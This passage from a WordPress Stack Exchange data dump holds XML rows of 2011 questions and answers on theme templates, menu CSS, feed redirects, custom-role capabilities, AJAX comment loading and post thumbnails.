to display the map but it does not work as needed. Is there any way I can do or can I use the above mentioned plugins? Any help will be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="478" LastActivityDate="2011-08-18T09:26:19.833" Title="How to add google map for each post?" Tags="&lt;plugins&gt;&lt;posts&gt;&lt;map&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="21915" PostTypeId="1" CreationDate="2011-07-04T06:52:32.350" Score="0" ViewCount="44" Body="&lt;p&gt;I am trying to add images to the side of my drop down, it would be a unique image for each menu drop down link, i would like to achive the effect found here: &lt;a href=&quot;http://www.clydequaywharf.co.nz/#apartments&quot; rel=&quot;nofollow&quot;&gt;http://www.clydequaywharf.co.nz/#apartments&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and of course implement this in wordpress, here is my code so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    #nav {&#xA;    font-family: Arial;&#xA;    font-size: 14px;&#xA;    float: right;&#xA;    margin: 0px 0px 0 0px; padding:  0 0px 0 0px;&#xA;    color: #333;&#xA;}&#xA;&#xA;#nav li a, #nav li {&#xA;    float: left;&#xA;    text-transform: capitalize;&#xA;    z-index: 9997;&#xA;}&#xA;&#xA;#nav li {&#xA;    list-style: none;&#xA;    position: relative;&#xA;    list-style-position: outside;&#xA;    text-transform: capitalize;&#xA;}&#xA;&#xA;#nav li a:hover { background:white; color: #666; font-weight: normal;}&#xA;#nav li:hover &amp;gt; a { background:white; color: #666; font-weight: normal;}&#xA;#nav li a {&#xA;margin: 0px 12px 0px 0px;&#xA;    padding: 8px 25.1px 8px 11.5px;&#xA;    text-decoration: none;&#xA;    color: #666;&#xA;    letter-spacing: 0.05px;&#xA;    text-transform: uppercase;&#xA;    z-index: 1006;&#xA;/* background: -moz-linear-gradient(top, black, #3c3c3c 1px, #292929 25px); */&#xA;/* background: -webkit-gradient(linear, left top, left 25, from(black), color-stop(4%, #3c3c3c), to(#292929)); */&#xA;}&#xA;&#xA;&#xA;&#xA;&#xA;#nav li li a:link {&#xA;background-color:green;&#xA;    color: #666666;&#xA;    font-size: 12px;&#xA;    z-index: 9995;&#xA;    height:32px;    &#xA;&#xA;/* background: -moz-linear-gradient(top, #11032e, #2a0d65); */&#xA;/* background: -webkit-gradient(linear, left top, left bottom, from(#11032e), to(#2a0d65)); */&#xA;}&#xA;&#xA;#nav li li a:hover {&#xA;    background: red;&#xA;    color: #8B7500;&#xA;    z-index: 9996;&#xA;&#xA;/* background: -moz-linear-gradient(top, #11032e, #2a0d65); */&#xA;/* background: -webkit-gradient(linear, left top, left bottom, from(#11032e), to(#2a0d65)); */&#xA;}&#xA;&#xA;/* Submenu */&#xA;&#xA;#nav li ul {&#xA;    display: none;&#xA;    position: absolute;&#xA;    left: 0;&#xA;    top: 100%;&#xA;    padding: 0px 1px 8px 1px; margin: 0px 0px 0px 0px;&#xA;}&#xA;&#xA;#nav li:hover ul {&#xA;    padding: 0px 0px 0px 0px;&#xA;    margin: 0px 0px 0px -0px;&#xA;    width:184px;&#xA;    display: block;&#xA;    z-index: 5000;&#xA;&#xA;}&#xA;&#xA;&#xA;&#xA;#nav li ul li a {&#xA;    float: none;&#xA;    letter-spacing: 0.02em;&#xA;    background: white;&#xA;    margin: 0px 0px 0px 0px;&#xA;    padding: 10px 2px 0px 12px; /* Move text inside menu */&#xA;    z-index: 1000;&#xA;    font-size: 12px;&#xA;    color: #666;        &#xA;    word-spacing: wrap;&#xA;    *margin-left: -9px;&#xA;}&#xA;&#xA;#nav li ul li {&#xA;    _display: inline; /* for ie6 */&#xA;}&#xA;&#xA;#nav li ul li a {&#xA;    width: 158px;&#xA;    display: block;&#xA;&#xA;}&#xA;/* *** */&#xA;&#xA;/* Sub Sub Menu */&#xA;#nav li ul li ul {&#xA;    display: none;&#xA;}&#xA;&#xA;#nav li ul li:hover ul {&#xA;    left: 100%;&#xA;    top: 0;&#xA;    z-index: 1000;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4304" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-07-04T07:22:17.153" LastActivityDate="2011-07-04T07:22:17.153" Title="Drop-Down Menu unique images" Tags="&lt;custom-menus&gt;&lt;page-menus&gt;" CommentCount="5" />
  <row Id="21916" PostTypeId="1" CreationDate="2011-07-04T06:56:50.113" Score="0" ViewCount="24" Body="&lt;p&gt;I would like to redirect my visitors to my 404 when they visit any feed of my page. Something like this. I would liek to do this without changing the header URL.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function fb_disable_feed() {&#xA;&#xA;// set_404();&#xA;&#xA;}&#xA;add_action('do_feed', 'fb_disable_feed', 1);&#xA;add_action('do_feed_rdf', 'fb_disable_feed', 1);&#xA;add_action('do_feed_rss', 'fb_disable_feed', 1);&#xA;add_action('do_feed_rss2', 'fb_disable_feed', 1);&#xA;add_action('do_feed_atom', 'fb_disable_feed', 1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please help!&lt;/p&gt;&#xA;" OwnerUserId="6721" LastActivityDate="2011-07-04T06:56:50.113" Title="Redirect feed to 404 page" Tags="&lt;redirect&gt;&lt;feed&gt;&lt;404&gt;" />
  <row Id="21917" PostTypeId="2" ParentId="21910" CreationDate="2011-07-04T07:21:23.427" Score="1" ViewCount="" Body="&lt;p&gt;the update post function actually calls the insert function so it should work, now I'm not sure but try changing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; if(!strlen($photo_url)){&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; if(empty($photo_url)){&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;since php &lt;a href=&quot;http://php.net/manual/en/function.strlen.php&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;strlen()&lt;/code&gt;&lt;/a&gt; returns 0 on an empty string.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-04T07:21:23.427" CommentCount="1" />
  <row Id="21919" PostTypeId="1" CreationDate="2011-07-04T07:54:55.907" Score="0" ViewCount="51" Body="&lt;p&gt;i published a new website recentely and i discovered a side-effect: first, i customize wordpress on my laptop (so then, when i inserted featured image link url i used the one of my dyndns address), then i moved the all website to production server and bugs jumped out!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i noticed that i can't change featured image link url from media file upload manager. I do have to remove the featured image and insert it again. Do u have any other tips?&lt;/p&gt;&#xA;" OwnerUserId="3990" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-08-25T11:28:50.693" LastActivityDate="2011-08-25T11:28:50.693" Title="featured image change url link" Tags="&lt;post-thumbnails&gt;" />
  <row Id="21920" PostTypeId="1" AcceptedAnswerId="21948" CreationDate="2011-07-04T08:26:46.383" Score="0" ViewCount="49" Body="&lt;p&gt;I'm trying to create an &quot;admin only&quot; meta box using WPAlchemy. The box for example may contain a &quot;feature post&quot; check box and other functionality. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I show this meta box for only the admin, yet have it work properly? I'm currently using the following code below, but I receive a &quot;Fatal error: Call to a member function the_meta() on a non-object&quot; when trying to echo the value of whatever is inside on the front-end.  Everything works as intended if I don't use current_user_can and works also if I'm logged in as admin and viewing the front-end.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (current_user_can('administrator')) {&#xA;$custom_admin_mb = new WPAlchemy_MetaBox(array(&#xA;    'id' =&amp;gt; '_custom_admin_meta',&#xA;    'title' =&amp;gt; 'Admin only',&#xA;    'template' =&amp;gt; TEMPLATEPATH . '/custom/admin_meta.php',&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;" OwnerUserId="4999" LastActivityDate="2011-07-04T15:32:49.990" Title="Creating an &quot;admin only&quot; meta box with WPAlchemy. Getting a fatal error on front-end when using current_user_can" Tags="&lt;metabox&gt;&lt;add-meta-box&gt;" AnswerCount="1" />
  <row Id="21921" PostTypeId="1" AcceptedAnswerId="21922" CreationDate="2011-07-04T08:49:14.003" Score="0" ViewCount="24" Body="&lt;p&gt;(I am using a child theme of twenty-ten) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For most of my pages I like to use the single column template. I noticed that (after I updated to 3.14) my single posts were using the default template (which has a sidebar for widgets). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I get rid of this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could style the sidebar away but is there a way to tell WP to apply the single-column template for my single-posts? Note that the main blog page applies the single-column template to it, so this is only happening when I bring up individual posts.&lt;/p&gt;&#xA;" OwnerUserId="5909" LastActivityDate="2011-07-04T09:38:31.047" Title="How do I apply a template to my single posts?" Tags="&lt;posts&gt;&lt;page-template&gt;&lt;styles&gt;" AnswerCount="1" />
  <row Id="21922" PostTypeId="2" ParentId="21921" CreationDate="2011-07-04T09:38:31.047" Score="1" ViewCount="" Body="&lt;p&gt;You could duplicate the single-column template and rename it single.php.&lt;/p&gt;&#xA;" OwnerUserId="6681" LastActivityDate="2011-07-04T09:38:31.047" CommentCount="1" />
  <row Id="21924" PostTypeId="1" CreationDate="2011-07-04T09:44:42.883" Score="1" ViewCount="25" Body="&lt;p&gt;I have a multisite set up with currently 2 subsites.&#xA;Is it possible to have a search box that searches the main site and just one subsite?&lt;/p&gt;&#xA;" OwnerUserId="6224" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-07-04T19:58:53.413" LastActivityDate="2011-08-11T02:22:08.947" Title="Global searchin multisite but only with one subsite" Tags="&lt;multisite&gt;&lt;search&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="21925" PostTypeId="2" ParentId="21908" CreationDate="2011-07-04T09:58:00.473" Score="0" ViewCount="" Body="&lt;p&gt;Relation for meta queries is not available in current stable version. It should be supported in soon to be released version 3.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://core.trac.wordpress.org/ticket/17011&quot; rel=&quot;nofollow&quot;&gt;Introduce 'relation' arg to meta_query&lt;/a&gt; ticket on trac.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-04T09:58:00.473" />
  <row Id="21926" PostTypeId="2" ParentId="21882" CreationDate="2011-07-04T10:02:51.497" Score="0" ViewCount="" Body="&lt;p&gt;I am not sure about the issue, but my advice would be to try and refactor this to use &lt;code&gt;get_posts()&lt;/code&gt; and template tags that can work without &lt;code&gt;$post&lt;/code&gt; global variable. Basically do not touch globals at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Loops in front-end are almost civilized nowadays, but internals of admin are still very wild. :)&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-04T10:02:51.497" CommentCount="2" />
  <row Id="21927" PostTypeId="1" AcceptedAnswerId="21940" CreationDate="2011-07-04T10:17:36.627" Score="1" ViewCount="42" Body="&lt;p&gt;I'm trying to make some modifications to a wordpress multisite and i could use some help from someone more experienced.&#xA;I want to restrict the acces to my blogs unless the user has an account.&#xA;In detail : i have a series of blogs, each one with an admin/autor. If a user wants to read posts from a blog, he should first go on the main site, to wp-signup.php and create an account.&#xA;I'm planning on creating a plugin, active on all subsites.&#xA;Is this possible? if yes, could someone give me some directions - wich hooks, filters and functions i would need ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="6183" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-07-04T14:04:30.170" LastActivityDate="2011-07-04T14:10:19.743" Title="User Signup in Multisite - Need Plugin or Advice" Tags="&lt;plugins&gt;&lt;multisite&gt;" AnswerCount="1" />
  <row Id="21928" PostTypeId="1" CreationDate="2011-07-04T10:23:34.937" Score="0" ViewCount="58" Body="&lt;p&gt;I notice that sticky posts will disregard the &lt;code&gt;posts_per_page&lt;/code&gt; param? Like I have a query like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$q = new WP_Query(array( 'posts_per_page' =&amp;gt; 4, ... ));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If there are 3 sticky posts, I will get 6 posts? (its abit strange tho why 6 not 7 (4+3)) I dont want to ignore sticky posts. How can I force the posts per page limit? eg, I have 10 sticky, I still get only 4 posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way I can think of is a counter that counts to 4 and exit the loop. But there isnt a WP way? This appears to be more of a bug to me?&lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2011-07-04T10:23:34.937" Title="Sticky Posts &amp; Posts Per Page" Tags="&lt;wp-query&gt;&lt;sticky-post&gt;" CommentCount="1" />
  <row Id="21929" PostTypeId="1" CreationDate="2011-07-04T11:22:33.857" Score="1" ViewCount="33" Body="&lt;p&gt;I would like to know how to modify the way wordpress displays the comments in a page. The requirement at hand is to display a certain number of comments in the comments list and while the the user scrolls to the bottom of the comments list (not on the page), a new set of comments will be appended to the comments list (if there are more comments to be displayed).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the following code to call the comments to be displayed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;require_once(&quot;../../../wp-config.php&quot;);&#xA;&#xA;$page = $_GET['cpage'];&#xA;if(isset($page))&#xA;{&#xA;    echo loadComments($page);                          &#xA;}&#xA;&#xA;function loadComments($page=1)&#xA;{&#xA;    global $wpdb;   &#xA;&#xA;    $number=5;    &#xA;    $result='';&#xA;&#xA;    // get comments from WordPress database &#xA;    $numRows = $wpdb-&amp;gt;get_var(&quot;SELECT COUNT(*)&#xA;                            FROM $wpdb-&amp;gt;comments &#xA;                            WHERE comment_approved = '1' &#xA;                                AND NOT (comment_type = 'pingback' OR comment_type = 'trackback')&quot;);            &#xA;&#xA;    if ($numRows &amp;gt; $number)&#xA;    {&#xA;            $nav=1;&#xA;            $pages=ceil($numRows/$number);&#xA;    }&#xA;    else {&#xA;        $nav=0;&#xA;        $pages=0;&#xA;    }&#xA;&#xA;    $getnumber=$number*$page;&#xA;&#xA;    // get comments from WordPress database &#xA;    $comments = $wpdb-&amp;gt;get_results(&quot;SELECT * FROM $wpdb-&amp;gt;comments &#xA;                                    WHERE comment_approved = '1' &#xA;                                        AND NOT (comment_type = 'pingback' OR comment_type = 'trackback')&#xA;                                    ORDER BY comment_date_gmt ASC &#xA;                                    LIMIT $getnumber&quot;);     &#xA;&#xA;    $comments=array_slice($comments, $getnumber-$number, $number);          &#xA;    if ( $comments )&#xA;    {&#xA;        $count=1;&#xA;&#xA;        // display comments one by one&#xA;        foreach ($comments as $comment)&#xA;        {  &#xA;            if ($page &amp;lt;= $pages)&#xA;            {&#xA;                $result.= '&amp;lt;li id=&quot;comment-'.$comment-&amp;gt;comment_ID.'&quot; class=&quot;leftcolumn&quot;&amp;gt;&amp;lt;div class=&quot;commenttext&quot;&amp;gt;&amp;lt;div style=&quot;padding:20px 0 0 10px;&quot;&amp;gt;&amp;lt;img src=&quot;/wp-content/themes/twentyten/images/headers/ImgQuotationMarkOpen.gif&quot; alt=&quot;&quot; title=&quot;&quot; class=&quot;openarrow&quot; /&amp;gt;'.&#xA;                        '&amp;lt;/div&amp;gt;&amp;lt;div style=&quot;padding:0 10px 0 40px;&quot;&amp;gt;&amp;lt;p&amp;gt;'.$comment-&amp;gt;comment_content.'&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;'.&#xA;                        '&amp;lt;div style=&quot;padding:0 10px 0 0; text-align:right;&quot;&amp;gt;&amp;lt;img src=&quot;/wp-content/themes/twentyten/images/headers/ImgQuotationMarkClose.gif&quot; alt=&quot;&quot; title=&quot;&quot; style=&quot;border:0;&quot; class=&quot;closearrow&quot;/&amp;gt;&amp;lt;/div&amp;gt;'.&#xA;                        '&amp;lt;/div&amp;gt;&amp;lt;/li&amp;gt;'.'&amp;lt;li class=&quot;middlecolumn&quot;&amp;gt;&amp;lt;img src=&quot;/wp-content/themes/twentyten/images/headers/ImgBubbleTopRight.gif&quot; class=&quot;pointerarrow&quot; /&amp;gt;&amp;lt;/li&amp;gt;'.&#xA;                        '&amp;lt;li class=&quot;rightcolumn&quot; id='.$comment-&amp;gt;comment_ID.'&quot;&amp;gt;'.'&amp;lt;div style=&quot;padding:25px 0 0 10px; line-height:10px;&quot; class=&quot;commenttextright&quot;&amp;gt;'.&#xA;                        '&amp;lt;span class=&quot;author&quot; style=&quot;text-decoration:none;&quot;&amp;gt;'.$comment-&amp;gt;comment_author.'&amp;lt;/span&amp;gt;&amp;lt;div style=&quot;height:5px;&quot;&amp;gt;&amp;lt;/div&amp;gt;'.&#xA;                        '&amp;lt;span style=&quot;font-family:Arial; font-size:12px;&quot;&amp;gt;'.mysql2date('j-n-Y',$comment-&amp;gt;comment_date).'&amp;lt;/span&amp;gt;'.&#xA;                        '&amp;lt;/div&amp;gt;&amp;lt;/li&amp;gt;&amp;lt;div style=&quot;clear:both;&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div style=&quot;height:10px;&quot;&amp;gt;&amp;lt;/div&amp;gt;'.&#xA;                        '&amp;lt;div style=&quot;height:1px; border-bottom:1px dashed  #3e3e3e;&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div style=&quot;height:10px;&quot;&amp;gt;&amp;lt;/div&amp;gt;';           &#xA;&#xA;                $count++;           &#xA;           }&#xA;           else&#xA;           {&#xA;            $result = '';&#xA;           }&#xA;        }&#xA;    }   &#xA;    return $result;&#xA;}&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and this is the ajax call to append a new set of comments:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function updatestatus(){&#xA;    //Show number of loaded items&#xA;    var totalItems=$('.commentlist li div.commenttext').length;&#xA;    $('#status').text('Loaded '+totalItems+' Items');&#xA;}&#xA;&#xA;function scrollalert(){&#xA;    var scrolltop=$('.commentlist').attr('scrollTop');&#xA;    var scrollheight=$('.commentlist').attr('scrollHeight'); //825&#xA;    var windowheight=$('.commentlist').attr('clientHeight'); //600&#xA;    var scrolloffset=20;&#xA;    //alert(scrolltop);&#xA;    if(scrolltop &amp;gt;= (scrollheight - (windowheight + scrolloffset)))&#xA;    {&#xA;        //fetch new items&#xA;        if (count &amp;gt; 0 )&#xA;        {&#xA;            count++;&#xA;            $('#status').text('Loading more items...');&#xA;            $.get('/wp-content/themes/twentyten/commentloader.php?cpage='+count, '', function(newitems){           &#xA;                if (newitems != '')&#xA;                {&#xA;                    $('.commentlist').append(newitems);&#xA;                    updatestatus();                    &#xA;                }   &#xA;                else&#xA;                {   &#xA;                    // prevent from appending content&#xA;                    count = -1;&#xA;                }&#xA;            });&#xA;       }&#xA;       else&#xA;       {&#xA;            $('#status').text('No more items to load...');&#xA;       }&#xA;    }&#xA;&#xA;  setTimeout('scrollalert();', 1500);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried adding the two files inside the themes folder and adding a reference to header.php for js file. This works but I have to set paging on for the comments and hide the navigation. If you could provide a better way to achieve (may be create a plugin?) I will greatly appreciate it. I am new to WordPress and will be delighted if you'll lead me to the right direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;RNorbe&lt;/p&gt;&#xA;" OwnerUserId="6724" LastActivityDate="2011-08-03T11:37:36.773" Title="How to modify the comments to be displayed in a post?" Tags="&lt;plugin-development&gt;&lt;customization&gt;" AnswerCount="1" />
  <row Id="21930" PostTypeId="2" ParentId="19071" CreationDate="2011-07-04T11:34:59.873" Score="0" ViewCount="" Body="&lt;p&gt;&lt;code&gt;wp-config.php&lt;/code&gt; is suggested place for such definitions, because at any point later they might get replaced by default values during loading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/Editing_wp-config.php&quot; rel=&quot;nofollow&quot;&gt;Editing wp-config.php&lt;/a&gt; in Codex for thorough instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also worth noting that it's commonly said like &lt;em&gt;add to the end&lt;/em&gt;, but really definitions should go above this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* That's all, stop editing! Happy blogging. */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or, if it was removed for some reason, above:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once(ABSPATH . 'wp-settings.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-04T11:34:59.873" />
  <row Id="21931" PostTypeId="2" ParentId="21929" CreationDate="2011-07-04T11:36:18.717" Score="1" ViewCount="" Body="&lt;p&gt;WordPress has own and very specific Ajax implementation, loading core for this is doing it wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start with reading &lt;a href=&quot;http://codex.wordpress.org/AJAX_in_Plugins&quot; rel=&quot;nofollow&quot;&gt;AJAX in Plugins&lt;/a&gt; in Codex.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-04T11:36:18.717" CommentCount="2" />
  <row Id="21932" PostTypeId="1" CreationDate="2011-07-04T12:09:24.833" Score="1" ViewCount="63" Body="&lt;p&gt;This may be obvious to someone other than myself. I think I remember reading somewhere that an &quot;image&quot; is indeed a form of &quot;post&quot;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I have a custom post type called &quot;listing&quot;&lt;/li&gt;&#xA;&lt;li&gt;I have a custom WP role of &quot;client&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;When I'm logged in as the &quot;client&quot;, and I launch the media popup, browse to an image, click &quot;show&quot; to open it up, and then click &quot;edit image&quot;, I get a -1. Ie. nothing else displays but &quot;-1&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can fix this issue by assigning my custom role the capability of &quot;edit_posts&quot;. Why is this? As soon as I do this, I'm plagued with another problem, the &quot;client&quot; user role now has access to posts, comments &amp;amp; tools, which I don't want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps I haven't set up my custom post type correctly with the capabilities? How can I allow the &quot;client&quot; to edit the images but not have access to posts?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;      $args = array(&#xA;    'label' =&amp;gt; 'Listing',&#xA;    'description' =&amp;gt; '',&#xA;    'public' =&amp;gt; true,&#xA;    'show_ui' =&amp;gt; true,&#xA;    'show_in_menu' =&amp;gt; true,&#xA;    'show_in_nav_menus' =&amp;gt; true,&#xA;    'map_meta_cap' =&amp;gt; true,&#xA;    'capability_type' =&amp;gt; 'listing',&#xA;    'capabilities' =&amp;gt; array(&#xA;                    'edit_post' =&amp;gt; 'edit_listing',&#xA;                    'read_post' =&amp;gt; 'read_listing',&#xA;                    'delete_post' =&amp;gt; 'delete_listing',&#xA;                    'edit_posts' =&amp;gt; 'edit_listings',&#xA;                    'edit_others_posts' =&amp;gt; 'edit_others_listings',&#xA;                    'publish_posts' =&amp;gt; 'publish_listings',&#xA;                    'read_private_posts' =&amp;gt; 'read_private_listings',&#xA;                    'delete_posts' =&amp;gt; 'delete_listings',&#xA;                    'delete_private_posts' =&amp;gt; 'delete_private_listings',&#xA;                    'delete_published_posts' =&amp;gt; 'delete_published_listings',&#xA;                    'delete_others_posts' =&amp;gt; 'delete_others_listings',&#xA;                    'edit_private_posts' =&amp;gt; 'edit_private_listings',&#xA;                    'edit_published_posts' =&amp;gt; 'edit_published_listings',&#xA;                ),&#xA;    'menu_position' =&amp;gt; 5, &#xA;    'hierarchical' =&amp;gt; false,&#xA;    'has_archive' =&amp;gt; false, &#xA;    'rewrite' =&amp;gt; array('slug' =&amp;gt; 'listing'), &#xA;    'query_var' =&amp;gt; true,&#xA;    'supports' =&amp;gt; array('title'),&#xA;    'labels' =&amp;gt; $labels&#xA;  ); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4999" LastActivityDate="2011-09-03T00:40:01.467" Title="Why does my custom WP role need edit_posts to edit images?" Tags="&lt;custom-post-types&gt;&lt;images&gt;&lt;custom-roles&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="21933" PostTypeId="1" AcceptedAnswerId="21934" CreationDate="2011-07-04T12:19:12.077" Score="0" ViewCount="51" Body="&lt;p&gt;I wish to do something as simple as the_post_thumbnail('large') but I want the URL of the image only, not the HTML which goes with it. Is that possible ?&lt;/p&gt;&#xA;" OwnerUserId="5915" LastActivityDate="2011-07-04T12:23:56.473" Title="Getting only the URL of the post thumbnail" Tags="&lt;posts&gt;&lt;post-thumbnails&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="21934" PostTypeId="2" ParentId="21933" CreationDate="2011-07-04T12:23:56.473" Score="3" ViewCount="" Body="&lt;p&gt;Use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_thumbnail_id&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_post_thumbnail_id()&lt;/code&gt;&lt;/a&gt; to retrieve ID, then &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_attachment_image_src&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_get_attachment_image_src()&lt;/code&gt;&lt;/a&gt; to retrieve array, that will have URL as first element.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-04T12:23:56.473" />
  <row Id="21935" PostTypeId="2" ParentId="21753" CreationDate="2011-07-04T12:55:10.980" Score="0" ViewCount="" Body="&lt;p&gt;Searching for wp_slimex_stats brings up references to a plugin called Wp-SlimStat-Ex - are you sure you don't have that running? I also see lots and lots of DB errors on other people's sites related to that table; maybe best not to use that plugin at all.&lt;/p&gt;&#xA;" OwnerUserId="2226" LastActivityDate="2011-07-04T12:55:10.980" />
  <row Id="21936" PostTypeId="2" ParentId="21932" CreationDate="2011-07-04T13:19:59.727" Score="0" ViewCount="" Body="&lt;p&gt;If I had to guess: because &lt;em&gt;images&lt;/em&gt; are &lt;em&gt;Attachments&lt;/em&gt;, and &lt;em&gt;Attachments&lt;/em&gt; are a &lt;em&gt;Post-Type&lt;/em&gt;. Thus, in order to edit an image, which is an attachment, which is a post, requires the &lt;code&gt;edit_post&lt;/code&gt; capability.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't you have your &lt;code&gt;capability&lt;/code&gt; mapping array keys/values reversed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g. you have &lt;code&gt;'edit_posts' =&amp;gt; 'edit_listings'&lt;/code&gt;. Shouldn't it instead be &lt;code&gt;'edit_listings' =&amp;gt; 'edit_posts'&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-07-04T15:07:52.627" LastActivityDate="2011-07-04T15:07:52.627" CommentCount="3" />
  <row Id="21937" PostTypeId="1" CreationDate="2011-07-04T13:41:48.757" Score="1" ViewCount="27" Body="&lt;p&gt;How can I change the 'Caption' text input to text area, to allow for multi line captions on media uploads?&lt;/p&gt;&#xA;" OwnerUserId="6318" LastActivityDate="2011-07-04T13:41:48.757" Title="Multi-line captions on attachments" Tags="&lt;attachments&gt;&lt;post-meta&gt;&lt;captions&gt;" />
  <row Id="21938" PostTypeId="2" ParentId="16423" CreationDate="2011-07-04T13:42:17.383" Score="0" ViewCount="" Body="&lt;p&gt;No, you can't display a &lt;em&gt;different Theme&lt;/em&gt; for different Pages or Posts; however, you can create &lt;em&gt;custom template files&lt;/em&gt; and &lt;em&gt;custom CSS&lt;/em&gt; for given Pages or Posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ensure that your Theme calls &lt;code&gt;&amp;lt;?php body_class(); ?&amp;gt;&lt;/code&gt; inside the HTML &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; tag, and then inspect the classes output for the Page or Post for which you want to create the custom style/layout.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-04T13:42:17.383" />
  <row Id="21939" PostTypeId="1" CreationDate="2011-07-04T14:06:23.897" Score="1" ViewCount="126" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;http://wordpress.stackexchange.com/questions/6645/turn-a-url-into-an-attachment-post-id&quot;&gt;Turn a URL into an Attachment / Post ID&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;get_attachment_id_from_src($file_url)&lt;/strong&gt; only returns an attachment ID when I use the url for the full sized image. But not when I supply the url for a thumbnail of the same image. Or this is how it seems to be for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, any clue on how to get the attachment id for an image by supplying a thumbnail url?&lt;/p&gt;&#xA;" OwnerUserId="6324" LastActivityDate="2011-07-04T14:06:23.897" ClosedDate="2011-07-04T14:41:14.273" Title="Get attachment ID from thumbnail (image)?" Tags="&lt;images&gt;&lt;attachments&gt;" CommentCount="1" />
